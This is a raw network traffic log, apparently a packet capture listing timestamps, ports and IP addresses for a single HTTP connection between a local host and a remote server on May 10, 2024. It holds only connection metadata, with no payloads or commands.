May 10, 2024 09:20:58.105755091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105765104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105783939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105786085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105798006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105808973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.105829000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.105892897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106378078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106390953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106400967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106412888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106425047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106431961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106435061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106447935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106455088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106458902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106467962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106472015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106484890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106489897 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106498003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106509924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106518984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106520891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106534004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106545925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106559992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106563091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106571913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106585026 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106585026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106600046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106611967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106623888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106623888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106636047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106642008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106650114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106662035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106666088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106674910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106686115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106698990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106699944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106709957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106713057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106723070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106734991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106738091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106746912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106759071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106770039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106771946 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106781960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106791973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106795073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106807947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106815100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106820107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106832027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106842995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106844902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106856108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106863976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106868029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106880903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106884956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106893063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106904030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106913090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106915951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106928110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106936932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106939077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106951952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106961012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106964111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106975079 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.106977940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.106991053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107002974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107013941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107018948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107027054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107034922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107039928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107052088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107059956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107064009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107075930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107088089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107095957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107099056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107111931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107120991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107124090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107136011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107136011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107148886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107156038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107161999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107172966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107183933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107184887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107198000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107208014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107208014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107222080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107225895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107235909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107249022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107260942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107270956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107271910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107284069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107290983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107295036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107306004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107306004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107319117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107320070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107331991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107343912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107351065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107355118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107367039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107374907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107378960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107392073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107398033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107403994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107415915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107426882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107431889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107439995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107451916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107477903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107510090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107522011 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107532978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107543945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107554913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107561111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107568979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107570887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107582092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107594967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107723951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107737064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107748032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107758045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107769012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107769966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107784033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107790947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107798100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107810020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107810974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107821941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107834101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107835054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107846975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107855082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107858896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107872009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107876062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107883930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107896090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107897043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107908964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107920885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107932091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107932091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107945919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107953072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107956886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107969046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107976913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.107981920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.107995987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108000040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108009100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108021975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108031988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108041048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108043909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108057976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108066082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108068943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108078957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108083963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108103037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108115911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108118057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108128071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108139992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108144999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108151913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108164072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108164072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108175993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108186960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108186960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108200073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108210087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108212948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108225107 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108227015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108237028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108248949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.108261108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.108284950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109236956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109251976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109263897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109276056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109296083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109314919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109463930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109476089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109487057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109498024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109508991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109519005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109519958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109544039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109548092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109560013 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109560966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109572887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109584093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109595060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109606028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109607935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109618902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109631062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109632015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109642982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109653950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109664917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109669924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109678030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109688997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109695911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109700918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109709978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109714985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109726906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109739065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109745979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109750986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109761953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109771967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109775066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109785080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109786987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109801054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109811068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109822035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109823942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109834909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109846115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109853983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109858990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109869003 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109870911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109884024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109885931 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109895945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109903097 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109909058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109920979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109930038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109932899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109946012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109950066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109957933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109972954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109982014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.109985113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109997034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.109999895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110008955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110019922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110033035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110038042 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110047102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110059023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110061884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110070944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110083103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110085011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110095024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110106945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110107899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110121012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110131979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110131979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110147953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110151052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110161066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110172033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110182047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110183001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110196114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110203028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110208988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110219955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110232115 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110239983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110251904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110260010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110263109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110275030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110282898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110286951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110299110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110306025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110311031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110323906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110330105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110336065 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110347986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110352993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110359907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110372066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110374928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110383034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110394955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110399008 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110405922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110418081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110423088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110430956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110443115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110454082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110455990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110466957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110470057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110479116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110491037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110502005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110508919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.110513926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110524893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.110532999 CEST	49754	80	192.168.2.4	34.68.151.162
